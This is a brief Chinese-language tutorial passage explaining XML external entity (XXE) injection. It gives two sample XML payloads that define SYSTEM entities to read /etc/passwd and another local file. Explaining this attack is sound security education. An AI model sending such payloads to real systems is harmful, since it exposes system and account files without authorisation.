实体注入
XML实体关键字'SYSTEM'会令XML解析器从URI中读取内容并允许它在XML文档中被替换,因此攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现,简单来说就是攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件),比如下面的代码将获取系统上folder/file的内容并呈献给用户
Code1:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
Code2:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY entityex SYSTEM "file:///folder/file">]>
<foo>
<value>&entityex;</value>
</foo>
<